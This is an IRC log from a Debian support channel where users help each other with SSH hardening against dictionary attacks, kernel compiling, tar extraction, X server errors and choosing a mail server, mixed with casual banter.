| 22:30.42 | Babbage | andersee> You could have a whitelist of allowed source IP addresse |
| 22:30.51 | EmleyMoor | It seems to be working OK now - needed to rm .Real* |
| 22:31.24 | calin | Babbage: what if he's entering from a computer that has dialup, therfore a non-static IP |
| 22:31.53 | andersee | calin: umm. Redhat would presumably not make any difference. |
| 22:32.38 | Babbage | calin> That would be a problem unless he can use an intermediate box with a static IP, or use dyndns in combination with TCP Wrappers and "ssh -i" |
| 22:32.40 | andersee | calin: its not as if openssh is any different regardless of distro |
| 22:32.40 | calin | acdersee: sorry, i saw someone else say something to the person suggesting !=port 22, and got mixed up |
| 22:32.54 | sobersabre | guys, q: i have 2 NICs. i want to allow root access via ssh from eth0 only, and eth1 shall be not allowing root access. is running 2 daemons with 2 configs a good solution ? |
| 22:33.02 | sobersabre | is there a "better" way ? |
| 22:33.24 | calin | woah |
| 22:33.36 | sobersabre | is it possible to do it with 1 daemon only listening on 2 ifaces ? |
| 22:33.43 | Babbage | sobersabre> There might be a PAM module taht you could hack on to do that |
| 22:33.45 | calin | sobersabre: that's a freaking genious idea |
| 22:33.49 | calin | haha |
| 22:34.07 | calin | Lemme think for a bit. |
| 22:34.09 | andersee | calin: hmm. google found this for me -- http://linuxmafia.com/pub/linux/security/ssh-dictionary-attack-blacklist |
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| 22:35.27 | calin | andersee: go for it |
| 22:36.12 | tazle | then I go and restart sshd and everything works |
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| 22:36.23 | delire | andersee: are you worried about local or external network attacks? |
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| 22:37.49 | andersee | delire: external |
| 22:37.54 | Loevborg | does anyone know how to disable annoying "\a" sounds (in gnome, or generally)? |
| 22:38.09 | andersee | I am constantly seeing ssh dictionary attacks such as: |
| 22:38.12 | andersee | Feb 9 07:49:22 torment sshd[2854]: Illegal user test from 64.106.161.210 |
| 22:38.12 | andersee | Feb 9 07:49:22 torment sshd[2854]: error: Could not get shadow information for NOUSER |
| 22:38.12 | andersee | Feb 9 07:49:22 torment sshd[2854]: Failed password for illegal user test from 64.106.161.210 port 53692 ssh2 |
| 22:38.12 | andersee | Feb 9 07:49:22 torment sshd[2856]: Illegal user test from 64.106.161.210 |
| 22:38.12 | andersee | Feb 9 07:49:22 torment sshd[2856]: error: Could not get shadow information for NOUSER |
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| 22:38.38 | andersee | heh |
| 22:38.40 | dondelelcaro | andersee: read /topic and refrain from pasting |
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| 22:38.55 | Babbage | Loevborg> Well, in Gnome Terminal, see "Edit Cuirrent Profile .... Terminal Bell". Uncheck it. Also "xset b 0 0" I think |
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| 22:38.57 | delire | andersee: for this i just use a firewall only allowing connections to sshd over a local network. of course, if you need a remote external login to your machine, this is no use |
| 22:38.58 | maher | andersee: those are annoying but harmless |
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| 22:39.03 | mattboll | andersee: like every body there |
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| 22:39.06 | delire | andersee: and yes, maher's right |
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| 22:39.30 | drac | Situation: There is eth0 and eth1 with IPv4 (and these IPv4s have no dns reverse), then there is IPv6 device xs26-0. IrcII and Irssi takes irssi -h 168.0.0.2 -c irc.something.org, so does ircii. But when trying same with bitchx or epic4 -H switch, it simply doesn't work, it still uses some IPv6 from xs26-0 device. So result of this, bitchx and epic4 can't use IPv4 at all. Can anyone verify this? Or have any ideas regarding this issue? |
| 22:39.34 | dfinn | is anyone on here using the ati drivers on sarge? i'm using kernel 2.6.8-2 and I can't get them to compile |
| 22:39.38 | delire | andersee: use a large phrasal password and setup ssh keys |
| 22:40.12 | andersee | I know they are harmless -- not like I setup "test" / "test" accounts |
| 22:40.24 | drac | These are debian packaged bitchx and epic4 in sarge and sid. |
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| 22:40.38 | Loevborg | Babbage, I had the problem also in gvim, but I can change it in the gnome settings, so I kinda answered my own question :| |
| 22:41.02 | rares | andersee: or you can use port knocking... |
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| 22:41.19 | andersee | still I've seen _two_ systems now that have given out a local shell due to lame user passwords -- like my dad's secretary "kim" who set her password to "kim" |
| 22:41.31 | delire | andersee: then when you need to access your box you 'ssh-agent bash' and then 'ssh-add' at which point you input the long phrase. then that terminal session is bound to the host via the exchange of keys. |
| 22:41.52 | delire | andersee: i do all my remote admin work this way |
| 22:41.55 | andersee | the bad guys didn't get root, but they did setup a web server for part of some ebay scam |
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| 22:42.21 | pflanze | Hello. We've got a problem installing Sarge on an old toshiba laptop. It's exiting during boot and just restarting into grub endlessly. |
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| 22:42.31 | afaik | hi |
| 22:42.38 | delire | andersee: if you're the only one logging in and have root access why not firewall against all IP's other that your own? |
| 22:42.41 | pflanze | Booting from the installer CD with boot=/dev/hda6 is giving: Unable to mount root fs on unknown-block(0,0) |
| 22:42.44 | afaik | how can I check for an open proxy on my server? It is slow and this happened before |
| 22:42.57 | zahod | Loevborg, xset b off |
| 22:43.00 | drac | dfinn: They compile fine with 2.6.8-2, and under sarge. You need to be more specific. |
| 22:43.06 | j_p_c_l | I wwonder.... Why does dmesg says my Sata disks are ATA? |
| 22:43.16 | Loevborg | zahod, Babbage: thanks both |
| 22:43.17 | delire | afaik: nmap ;) |
| 22:43.19 | sobersabre | so ... Babbage ... AFAIK, in the pam conf there's only analysis of where are you coming from and not where are you coming to... |
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| 22:43.37 | sobersabre | can you point me what you meant ? |
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| 22:44.01 | LSorense | !ops: ZoMBi is onjoin spamming |
| 22:44.04 | dfinn | drac: I was going on the instructions here : http://xoomer.virgilio.it/flavio.stanchina/debian/fglrx-installer.html and no matter what I try I get errors. I am using the SMP kernel though. Should I post the errors? |
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| 22:44.24 | LSorense | !ops: so is DeviL_OfGiRL_duS |
| 22:44.29 | Ronin | LSorense: no : |
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| 22:44.45 | dfinn | drac: ./make.sh |
| 22:44.45 | dfinn | Link /lib/modules/2.6.8-2-686-smp/build does not exist (or is not a link) |
| 22:44.50 | LSorense | Ronin: oh oops |
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| 22:45.03 | Ronin | not really surprising though on DeviL_OfGiRL_duS |
| 22:45.13 | calin | LSorense: How are they spamming? |
| 22:45.38 | drac | dfinn: ln -s /usr/src/your_kernel_source_directory /lib/modules/2.6.8-2-686-smp/build |
| 22:45.42 | m0p | Dude, on connection, 2 people spammed me. Damn spammers! |
| 22:45.45 | sobersabre | Babbage: can i query you ? |
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| 22:45.55 | alindeman | m0p: Nicks please? |
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| 22:46.01 | LSorense | calin: sending /query with "17:43 <ZoMBi> http://www.sexyteens.gen.ms Free Porno Videos" |
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| 22:46.18 | alindeman | Never mind, got 'um |
| 22:46.21 | m0p | Those two who just quit. |
| 22:46.25 | calin | LSorense: ah. I understand. |
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| 22:46.29 | LSorense | Yay! |
| 22:46.39 | dfinn | drac: thanks, that seemed to get me a little farther. now I get : kernel configuration at /usr/src/kernel-source-2.6.8 not found |
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| 22:47.08 | dfinn | drac: it's just the untouched kernel source directory, I have not attempted to build a kernel with that source. |
| 22:47.13 | delire | dfinn: ls -l /usr/src/kernel-source-2.6.8/.config. is it there? |
| 22:47.29 | drac | dfinn: cp /boot/config-$(uname -r) /usr/src/kernel-source-2.6.8/.config |
| 22:47.34 | dfinn | drac: nope, not there |
| 22:47.42 | delire | then do as drac says |
| 22:47.45 | afaik | heheheh |
| 22:47.47 | afaik | I am back :) |
| 22:48.10 | dfinn | kernel includes at /usr/src/kernel-source-2.6.8/include not found or incomplete |
| 22:48.10 | dfinn | file: /usr/src/kernel-source-2.6.8/include/linux/version.h |
| 22:48.24 | drac | dfinn: Ok, read again from flavio's page section "2.1. Kernel source" |
| 22:48.35 | drac | dfinn: The make-kpkg command you need, if well explained there. |
| 22:48.39 | drac | s/if/is/ |
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| 22:48.55 | m0p | Damnit, my kernel-source bzip2 is corrupted somewhere. I get 3 speaker beeps and bzip2 outputs loads of garbage. |
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| 22:49.37 | m0p | And don't ask why I, a noob, is playing with kernel source code. |
| 22:49.38 | dfinn | drac: thanks, somehow I missed that |
| 22:49.39 | calin | m0p: when doing what? |
| 22:49.59 | calin | unarchiving it? |
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| 22:50.10 | m0p | yeah, extracting from the bz2 file. |
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| 22:50.22 | calin | .tar.bz2? |
| 22:50.26 | m0p | yep. |
| 22:50.32 | sobersabre | m0p: is it possible you're trying to unbzip2 a tar.gz file ? |
| 22:50.36 | calin | tar -xjvf <filename> |
| 22:50.37 | sobersabre | run file on it ... |
| 22:50.41 | m0p | No, the file IS a bzip2. |
| 22:50.51 | calin | you use that command? |
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| 22:51.00 | m0p | I used "bzip2 -dc kernel-source-2.6.8-2.tar.bz2" |
| 22:51.13 | calin | try my command |
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| 22:51.41 | idnar | m0p: uhm, that would output the uncompressed data to your terminal, how is that useful? |
| 22:51.56 | m0p | I said I was a noob :P. |
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| 22:52.18 | uncleboy | use the tar command, noob |
| 22:52.21 | m0p | ok |
| 22:52.34 | calin | haha |
| 22:52.38 | calin | Glad I could help. |
| 22:52.45 | m0p | What, I am a noob, it's entirely true! ;D |
| 22:52.56 | uncleboy | it'll get better |
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| 22:54.28 | Grock | my keyboard stopped being nice after a kernel compile any suggestions? |
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| 22:54.43 | Grock | gibberish :{}) |
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| 22:55.00 | Grock | ppc G3 |
| 22:55.08 | mattboll | Grock: use kernel image ? |
| 22:55.12 | Grock | 2.4.18 |
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| 22:55.23 | calin | Grock: Probably forgot to enable some drivers. |
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| 22:55.38 | Grock | maybe i should get new kernel?? auto config |
| 22:55.44 | Grock | yes? |
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| 22:55.57 | calin | Grock: Would be better to config it yourself |
| 22:56.25 | mattboll | you could try /join #ppc too ordebian-ppci don't rememberwich one is both ppc and debian |
| 22:56.30 | Grock | what kernel? |
| 22:56.39 | m0p | ok, I'm running tar and it's working, but I await those dreaded triple beeps and the corrupted data... |
| 22:56.54 | calin | m0p you won't find any. |
| 22:57.07 | mattboll | f*cking space key :/ |
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| 22:57.26 | m0p | I readv somewhere that the tar.bz2 file was sposed to be 35mb, but this one seems to be 33.3mb ;/ |
| 22:57.28 | GraveDigger | u gays just stink |
| 22:57.28 | calin | m0p: when you were trying to unarchive it, you were sending the raw data to the screen instead of a file |
| 22:57.31 | Grock | delete turns into a comma ,,,? |
| 22:57.35 | m0p | oh. |
| 22:57.55 | dabreegster | Bit of an odd question, but can anybody recommend a place with really good system login banners (e.g. /etc/motd files) with cool designs and maybe some ANSI color? |
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| 22:58.18 | m0p | I am confused then. I thought you were supposed to decompress the bz2 before unarchiving it. |
| 22:58.22 | calin | dabreegster: Sure |
| 22:58.27 | sergio22 | hi |
| 22:58.35 | m0p | Anyway, it's finished now! |
| 22:58.39 | cureless | dabreegster: search for ascii art, or ascii art library or something along those lines. |
| 22:58.40 | calin | m0p: why do that when you can do it all at once? |
| 22:58.41 | m0p | brb, checking it out. |
| 22:58.58 | m0p | oh, so tar can unzip and unarchive in one go? |
| 22:59.09 | calin | m0p: doing the tar command runs it through the unbzip processor, then untars it |
| 22:59.10 | paulswm | m0p: yes |
| 22:59.13 | m0p | never knew that! thanks. |
| 22:59.29 | cureless | m0p: it can zip/bzip2 it too when you create the archive. |
| 22:59.40 | afaik | thesands. |
| 22:59.46 | Babbage | dabreegster> http://www.textfiles.com/ ? |
| 22:59.50 | cureless | m0p: not all tars are created equal though, some other (non-linux) system tars don't do that. |
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| 22:59.57 | uncleboy | m0p: j option unbz2's it |
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| 23:00.07 | dabreegster | Also, I've been trying to get a readline thing to work, but I can't figure out the code to use for the left and right arrow key. I'm using: bind "\C-*various*":backward-word. Everything I try for *various* messes up. (control+left arrow would make the cursor jump back a word) |
| 23:00.11 | m0p | Hmm, but I wonder why when I was bzip2 -dc'ing it, it beeped and made gibberish. |
| 23:00.14 | dabreegster | thanks Babbage, calin , and cureless |
| 23:00.17 | calin | no problem |
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| 23:00.35 | m0p | ls |
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| 23:00.42 | m0p | oops, wrong keyboard! |
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| 23:00.49 | cureless | m0p: if you uncompress an archive to stdout and the data is binary that's what you'll get. |
| 23:00.58 | m0p | Oh. |
| 23:01.07 | uncleboy | m0p: you were sending raw data to screen, some characters upset it |
| 23:01.15 | cureless | m0p: but you could have piped it to tar to extract from stdout. |
| 23:01.24 | m0p | How? |
| 23:01.27 | m0p | Oh. |
| 23:01.29 | m0p | Got it. |
| 23:01.31 | Babbage | Run "tput reset" to fix it |
| 23:01.40 | paulswm | m0p: or 'reset' |
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| 23:02.00 | cureless | m0p: | tar -x - |
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| 23:02.13 | m0p | I hate using 2 systems at once. I've been typing stuff into the wrong keyboard countless times today. |
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| 23:02.16 | Babbage | Real programmers edit their code with zcat. VI is for wimps |
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| 23:02.33 | Babbage | m0P> Change $PS1 on one of them |
| 23:02.49 | paulswm | Real programmers edit the object code, not the source :) |
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| 23:03.04 | Babbage | paulswm> No, I meant "zcat > a.out" |
| 23:03.11 | uncleboy | calin: i know 5 emacs commands, so i use it |
| 23:03.12 | cunumen | Every time I boot, i have to remake /media/cdrom0 and /media/cdrom1 directories, why does that happen? |
| 23:03.14 | paulswm | Babbage: Heh |
| 23:03.34 | sobersabre | Babbage: what was your idea about PAM + ssh ? |
| 23:03.45 | cureless | I know 1 emacs command, exit. |
| 23:04.05 | uncleboy | i know :quit for vi |
| 23:04.07 | calin | I know 1 vi command |
| 23:04.10 | calin | :q! |
| 23:04.27 | paulswm | http://home.earthlink.net/~paulswm/images/viman.gif |
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| 23:04.53 | Babbage | sobersabre> I was thinking that you may be able to use a PAM module to examine the local side of the socket to use getsockname() and determine which interface the connection arrived on. Thinking about it a bit more, that idea seems very cumbersome. |
| 23:05.10 | sobersabre | Babbage: :-) |
| 23:05.24 | sobersabre | thanks |
| 23:05.32 | m0p | what are the make config commands for the kernel again? |
| 23:05.51 | uncleboy | use kpkg for kernel |
| 23:05.51 | sobersabre | which kernel ? |
| 23:05.55 | sobersabre | linux ? |
| 23:05.57 | sobersabre | hurd ? |
| 23:06.03 | sobersabre | freebsd ? |
| 23:06.04 | m0p | I'm talking about the config. linux 2.6.8. |
| 23:06.05 | uncleboy | there is a definite debian way to build a kernel |
| 23:06.41 | m0p | I'm not making it yet, just configuring it. |
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| 23:06.49 | sobersabre | m0p: make menuconfig |
| 23:06.53 | valdyn_ | m0p: make help |
| 23:06.54 | Babbage | sobersabre> Which Hurd? Mach? L4? |
| 23:07.00 | sobersabre | :) |
| 23:07.03 | m0p | ok |
| 23:07.04 | sobersabre | Mach. |
| 23:07.06 | paulswm | m0p: make menuconfig or make xconfig - or, also, make gconfig for 2.6 |
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| 23:07.40 | Phated | Menuconfig... Foreva. |
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| 23:07.54 | sobersabre | Phated: r u from .ru ? |
| 23:08.10 | m0p | bbl people. I got some work to do! |
| 23:08.25 | Phated | sobersabre: Er... WTF? |
| 23:08.33 | paulswm | Yeah, .sg stands for Russia |
| 23:08.34 | sobersabre | hm... nvm |
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| 23:08.37 | calin | !u |
| 23:08.37 | dpkg | It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
| 23:08.39 | calin | !r |
| 23:08.40 | dpkg | rumour has it, r is a powerful language based on S, primarily used for statistics. It is well suited for dealing with large sets of numbers in matrices and/or vectors. apt-get install r-base r-recommended r-base-html. AND IT'S "ARE" YOU MORONS! |
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| 23:09.16 | sobersabre | by the way... you is formal plural. |
| 23:09.22 | sobersabre | and thou is singular. |
| 23:09.24 | sobersabre | :) |
| 23:09.50 | Phated | Gee, he can actually speak English. |
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| 23:10.22 | karsten | Phated: No, but he can spell it. |
| 23:10.24 | uncleboy | check out http://myrddin.org/howto/debian-kernel-recompile.php for debian kernel compile steps |
| 23:10.25 | calin | you is not formal plural, what the hell are you talking about? |
| 23:10.25 | sobersabre | i can type. |
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| 23:10.50 | cunumen | it may not be formal, i don't know, but it's definately plural, or else it wouldn't be "you ARE" |
| 23:10.52 | sobersabre | calin: how do you turn to a crowd ? "Sie" ? |
| 23:11.09 | uncleboy | m0p: use http://myrddin.org/howto/debian-kernel-recompile.php for debian kernel compile |
| 23:11.09 | kmoffat | #join libranet-beta |
| 23:11.18 | Phated | karsten: Ah well. |
| 23:11.20 | calin | I turn to a crowd and go "hey y'all" |
| 23:11.30 | Phated | I say "OI!". |
| 23:11.32 | karsten | calin: You still lose. |
| 23:11.43 | karsten | calin: It's "Hey, all y'all!" |
| 23:11.54 | Phated | Let's ask paulswm! |
| 23:12.00 | Babbage | cunumen> you is singular or plural, unspecified. |
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| 23:12.34 | cunumen | Can you say "you is" then? |
| 23:12.36 | karsten | Babbage: "thou" *is* the singular familar. "You" is both singular formal and plural. |
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| 23:12.45 | karsten | cunumen: Sure. |
| 23:12.54 | Phated | Gawd... #grammar, FFS. |
| 23:12.55 | calin | There, that works. Depending on the case in which 'you' is used, it can be singular or plural. EX: "Hey y'all" and "Hey you." |
| 23:13.00 | Babbage | karsten> "thou" hasn't been in common usage for a couple of hundred years. |
| 23:13.03 | karsten | cunumen: Goes down real good in South Central. |
| 23:13.04 | paulswm | 'Thou' is singular 'you' all right, but is not used in modern English |
| 23:13.14 | acj | Australian slang for the formal plural of you is "youse" (rhymes with use), as in "Hey youse guys!". |
| 23:13.14 | Phated | Yeah, thankfully. |
| 23:13.15 | karsten | Babbage: Depends on the locale. |
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| 23:13.33 | karsten | acj: That's out of NYC. Bronx. |
| 23:13.34 | cunumen | Wait, so "you" is like "Sie" and we no longer have an informal you? |
| 23:13.36 | paulswm | The only person who would use "thou" today is maybe someone who learned English from a book |
| 23:13.37 | Phated | Wonder what people would use in place of "u" if "thou" was actually common. |
| 23:13.40 | Babbage | karsten> It can be used in slang or humorously too. But it's not significant. |
| 23:13.44 | uncleboy | philly too |
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| 23:13.48 | Phated | paulswm: From which book, eh? |
| 23:13.50 | acj | yes LOCALE=AU |
| 23:13.58 | Phated | I'm not lerning English from no Shakespeare, man. |
| 23:14.01 | sobersabre | paulswm: book is not so bad. |
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| 23:14.17 | uncleboy | loccale=phillypa |
| 23:14.19 | karsten | acj: Isn't there a LOCALE=en_US_BRONX? |
| 23:14.20 | paulswm | Phated: An old Elglish textbook in whatever is their native language |
| 23:14.22 | Ireul | jo |
| 23:14.24 | Ireul | hi |
| 23:14.25 | Ireul | please |
| 23:14.32 | Phated | karsten: Man, you do not want to be around when the difference engine blows up. |
| 23:14.35 | karsten | You know, Red Hat *did* have a redneck locale.... |
| 23:14.42 | sobersabre | heh |
| 23:14.43 | karsten | Phated: Does it make... |
| 23:14.44 | cunumen | old english would give you stuff my screen won't show, thats too far |
| 23:14.49 | karsten | Phated: ...a difference? |
| 23:15.01 | Phated | karsten: Aww, gee, and I thought mine was bad... <groan> |
| 23:15.04 | karsten | Phated: Besides, as Cheryl Crow says... |
| 23:15.09 | karsten | Phated: ...a change would do me good. |
| 23:15.17 | Phated | Heh. |
| 23:15.23 | karsten | Phated: You're up against the master here. |
| 23:15.26 | Babbage | karsten> Cool, somone built it? |
| 23:15.31 | paulswm | sobersabre: No, but unless it's a new textbook, things will be anachronistic. English, probably becuase of its worldwide use, is a relatively rapidly evolving language |
| 23:15.39 | Ireul | I've got a problem with my printer: epson stylus color 480... I'm using mtink to change the ink cartdriges. Got parport_pc, lp, parport amd ppdev modules loaded |
| 23:15.42 | Phated | He doesn't get it, karsten. We can safely back away to a distance now. |
| 23:15.54 | karsten | Babbage: Actually, ISTR it *did* happen. One problem was that metalurgy wasn't up to Chaz's original design. |
| 23:15.55 | timo | karsten, Sheryl |
| 23:15.57 | Phated | Babbage: Tell me that nick isn't your real name. |
| 23:16.05 | Babbage | I used to use a C compiler that let you have your error messages in English, French or Latin. |
| 23:16.06 | karsten | timo: As I said: a change would do me good. |
| 23:16.18 | sobersabre | paulswm: I have no problem with that. :) |
| 23:16.23 | Ireul | I've got a problem with my printer: epson stylus color 480... I'm using mtink to change the ink cartdriges. Got parport_pc, lp, parport amd ppdev modules loaded, but printer seems disconnected. Only dmesg report it connected to parport0 |
| 23:16.39 | karsten | Babbage: There's a latin Perl module. |
| 23:16.48 | Babbage | "use Latin;" Heh! |
| 23:16.58 | sobersabre | hehe r you kissing ? |
| 23:17.01 | sobersabre | kiddinfg |
| 23:17.03 | sobersabre | :)) |
| 23:17.08 | sobersabre | haha what a typo! |
| 23:17.20 | paulswm | Babbage: 30 years ago I used a COBOL compiler whose error message text content varied depending on what sort of mood it was in |
| 23:17.47 | karsten | sobersabre: are you sober? |
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| 23:17.57 | sobersabre | karsten: i am. |
| 23:17.59 | sobersabre | :) |
| 23:18.26 | uncleboy | it wasn't fortran watfour, was it cobol what thehell? |
| 23:18.41 | sobersabre | hmmm. |
| 23:18.59 | sobersabre | ok guys, have a nice time. |
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| 23:19.03 | calin | you too |
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| 23:19.26 | Babbage | paulswm> heh |
| 23:19.30 | Ireul | I've got a problem with my printer: epson stylus color 480... I'm using mtink to change the ink cartdriges. Got parport_pc, lp, parport amd ppdev modules loaded, but printer seems disconnected. Only dmesg report it connected to parport0 |
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| 23:20.35 | uncleboy | guys, see you later |
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| 23:20.57 | cat | see ya, |
| 23:21.12 | superCow007 | hey squisher |
| 23:21.19 | superCow007 | what ya squishin |
| 23:21.23 | paulswm | Babbage: you submitted extra cards with your compilation deck that gave the compiler martinis and/or lashes. Depending on the proportion it had received when it ran your compile, it was either very understadning of the most major errors, or, if it had been beaten a lot, it would get real nasty about a missing period. IIRC it had five different moods. |
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| 23:21.36 | squisher | superCow007: right now my nvidia drivers for amd64 :) |
| 23:22.06 | superCow007 | squishing bits can be tough |
| 23:22.14 | superCow007 | ones and zeroes don't deform too well |
| 23:22.36 | squisher | yeah, they are so volatile and all that static electricity nullifies them before I can reach *damn* |
| 23:22.37 | Phated | paulswm: Dude, you're confusing your compiler with your first girlfriend. |
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| 23:23.04 | paulswm | Phated: Very funny :) |
| 23:23.29 | Phated | paulswm: I try. |
| 23:23.29 | Babbage | paulswm> Was it different if you gave it martin i and then lashes, versus lashes and then martinis? |
| 23:24.17 | Phated | o.o |
| 23:24.25 | superCow007 | hrmm.. if a person is both randomly reward and randomly punished for the same behavior, what becomes their condition.. |
| 23:24.39 | Phated | superCow007: They're on IRC. |
| 23:25.04 | anhi | well, reward or punishment depend on if you pee sitting or standing :P |
| 23:25.07 | paulswm | Babbage: I don't think so, it kept a simple running total since it was last reset, and it just added your contributions in to the total. Of course, the first thing any self respecting programmer would do is to devise a program to produce the max numerb of errors and then keep recompiling it to get all the moods :) |
| 23:25.47 | karsten | superCow007: Depends on the level of reward/punishment. |
| 23:25.50 | superCow007 | hrmm |
| 23:25.52 | superCow007 | true |
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| 23:26.13 | karsten | superCow007: Typically, you get either neurotic or codependent behavior, if I recall 18 y.o. psych lectures correctly. |
| 23:26.17 | squisher | superCow007, I'd say they conditions definately becomes confused... |
| 23:26.20 | Phated | Or, y'know, they just get really whack. |
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| 23:26.44 | superCow007 | figures |
| 23:26.50 | karsten | superCow007: Inconsistent reward schedules are actually _more_ powerful than consistent ones, over time. Because they reinforce the idea that failure is something you can push through. |
| 23:27.11 | Phated | From compilers... to psych. Geeks. |
| 23:27.51 | superCow007 | ahh, yes.. I've read that |
| 23:28.25 | karsten | superCow007: as for punish-reward. Think of someone in an abusive relationship. They usually get *really* bent. |
| 23:28.59 | superCow007 | yeah.. that's not easy to undo |
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| 23:29.23 | superCow007 | hard to uncondition yourself |
| 23:29.29 | Babbage | I have to get a life. I just caught myself reading the Calgary Corpus. |
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| 23:30.09 | paulswm | karsten: Many in abusive relationships get out and go straight into another. Many subconsciously seek abusive relationships. |
| 23:30.29 | superCow007 | I suppose you could just smoke a lot of weed and reflect |
| 23:30.30 | superCow007 | heh |
| 23:30.38 | karsten | paulswm: Doesn't do much for the kids either. |
| 23:31.07 | paulswm | karsten: You are dead right |
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| 23:31.32 | karsten | paulswm: Spent nine months at a youth center. Lots of neat kids. Lots of whack parents. |
| 23:31.57 | paulswm | karsten: Makes your blood boil. |
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| 23:34.18 | karsten | paulswm: More leaves me sort of sad and with a sense that there's only so much you can do. So I try. |
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| 23:34.42 | superCow007 | I've got a friend that is intellectually domineering toward his girlfriend.. she isn't the smartest, but he constantly poo-poos her ideas.. they do things his way.. I don't think he means it but that can't be good for her.. |
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| 23:34.56 | superCow007 | other than that he is a pretty nice guy |
| 23:34.58 | cnorton_ | what is stable now? sarge? |
| 23:35.01 | superCow007 | but that is a pretty big flaw |
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| 23:35.14 | Babbage | superCow007> Does he see it? |
| 23:35.19 | superCow007 | I think he does |
| 23:35.26 | Babbage | Silly person. |
| 23:35.44 | karsten | cnorton_: woody. |
| 23:36.03 | superCow007 | he does it in a lot of relationships.. he is in the psych field and counsels people.. |
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| 23:36.17 | superCow007 | I've been trying to wrap my head around that.. since he is pretty good at identifying peoples problems and helping them.. |
| 23:36.17 | karsten | superCow007: There's a lot of nuts in psych. |
| 23:36.43 | karsten | cnorton_: http://www.debian.org/releases/ |
| 23:36.47 | cnorton_ | thanks |
| 23:36.52 | bobessutio | What MTA has the smallest mem and cpu footprint? |
| 23:36.52 | superCow007 | yeah, true.. I could believe that karsten |
| 23:37.09 | karsten | bobessutio: /bin/true |
| 23:37.17 | karsten | bobessutio: Unfortunatly, it's also got the least functionality. |
| 23:37.28 | bobessutio | what is true? |
| 23:37.33 | karsten | bobessutio: !false |
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| 23:38.00 | bobessutio | karsten: are you yanking my chain? ;) |
| 23:38.03 | karsten | bobessutio: Suggest you ask in terms of capabilities. |
| 23:38.05 | karsten | bobessutio: No. |
| 23:38.13 | karsten | bobessutio: That's someone else by the same name. |
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| 23:39.12 | karsten | bobessutio: Most MTAs are reasonably light in system performance / load. If you want a minimal mailer, try ssmtp. If you want a full-service mailer, exim4 or postfix. |
| 23:39.20 | karsten | bobessutio: What's your system constraint/spec? |
| 23:39.25 | bobessutio | I am looking for something that behaves well on debian and will work with cyrus/dovecot/curiour |
| 23:39.40 | bobessutio | Redwood virtual server |
| 23:39.56 | bobessutio | 64mb mem 64mb swap |
| 23:39.59 | karsten | bobessutio: Not familiar with most of those, but if they're RFC-compliant, shouldn't be a problem. exim4/postfix are your first choices. |
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| 23:40.10 | bobessutio | ok |
| 23:40.13 | karsten | bobessutio: ...64 MB should be no problem. 16-32 would work. |
| 23:40.15 | synic | any known problems with php4 in sarge recently? |
| 23:40.20 | synic | eer... php4-mysql |
| 23:40.26 | karsten | synic: several. |
| 23:40.32 | karsten | synic: Remote 'sploits. |
| 23:40.36 | synic | ones that stop it from working at all? |
| 23:40.59 | karsten | synic: Um. That I'm not sure. But I know a bunch of folks rooted via PHP in the past few months. |
| 23:41.17 | karsten | !tell synic about bts |
| 23:41.23 | karsten | synic: BTS is your friend. |
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| 23:41.43 | cnorton_ | to upgrade from woody to sarge, is this right: 1) change stable to sarge in /etc/apt/sources.list then "apt-get update; apt-get dist-upgrade" |
| 23:42.04 | cnorton_ | or do I need to do something like "apt-get install apt-utils; debconf dpkg" in there also |
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| 23:42.49 | BadMan | welp finished with sarge evolution..... of coure problems on it... |
| 23:43.50 | harunL | is there anyway of installing linux on a laptop which is currently running windows but has its floppy and cdrom IO screwed up (can't read/write at all) ? |
| 23:45.09 | BadMan | from wha I see at the bottom of the output when I reboot and starts up, cant load/locate "pex5" "xie" with failed ito initialize nvidia kernel module Screens found but no usuable configuration |
| 23:45.15 | cnorton_ | harunL, can you buy a new CDROM / Floppy combo on Ebay? booting off the cdrom and installing from the network is always the easiest |
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| 23:46.43 | cnorton_ | harunL i don't know of any other way to install debian btw |
| 23:46.57 | zahod | perhaps booting from an usb stick |
| 23:48.13 | teome | harul: i dont know the details but yes, PXE boot, but you need another comp "wiki.debian.net/index.cgi?DebianInstallerNetbootPXE" |
| 23:48.23 | teome | maybe i'm wrong, never done it |
| 23:48.25 | harunL | zahod, dont think my laptop supports booting thru usb |
| 23:49.01 | teome | must be networked with other comp, preferable running linux too |
| 23:49.02 | Babbage | Ouch. That's bad. |
| 23:49.22 | Babbage | /usr/share/man/man1: 1013 pages with examples, 1524 without |
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| 23:49.40 | BadMan | any ideas on what I should check first have already done dpkg-reconfigure xserver-xfree86 made sure all was well in it.... |
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| 23:50.57 | BadMan | stew you around? |
| 23:51.34 | harunL | so there's no way i can use loadlin somehow to install debian ? i can download the iso to my HD .. |
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| 23:52.51 | cat | harunL: u need to burn the iso, |
| 23:52.56 | cat | and then installed Debian on you'r hd |
| 23:53.01 | calin | the netinstaller is indicating a mismatch between the installer kernel and the kernel on the mirror, what's up with that? |
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| 23:53.39 | teome | harunL: dont think you can use loadin, did you look at that pxe boot link i gave you? |
| 23:53.42 | cat | yeah but u need the iso, |
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| 23:54.55 | harunL | teome, reading that now .. thanks |
| 23:55.02 | calin | nevermind |
| 23:55.13 | teome | ok, think thats your best bet |
| 23:56.01 | cat | yeah or 50 floppies, |
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| 23:56.37 | teome | hehe |
| 23:56.51 | Silver | hi all, anyone here who can help me out with a X issue? :) |
| 23:56.58 | cat | try asking you'r question |
| 23:57.02 | BadMan | bah I should not have mess with sarge I knew I was not ready to do that! |
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| 23:57.16 | cat | BadMan: why what happend with sarge? |
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| 23:57.35 | Silver | I'll make a try then, When ever I try to start x, I drop out with a error saying, Screens found, but none has a usable configuration |
| 23:57.43 | BadMan | well it boffed my xserver back to the problem I had with woody that I got corected |
| 23:57.53 | cat | !tell Silver about set up x |
| 23:58.02 | cat | ok, |
| 23:58.09 | BadMan | cat same thing here |
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| 23:59.01 | cat | BadMan: dpkg-reconfigure xfree86-server |
| 23:59.26 | Silver | cat: urm, thanks =P |
| 23:59.26 | cat | grrrr is dpkg-reconfigure |
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| 23:59.27 | cat | grrrr is dpkg-reconfigure xserver-xfree86 |
| 23:59.51 | BadMan | cat done that one already everything is same as woody setup... driver as well |
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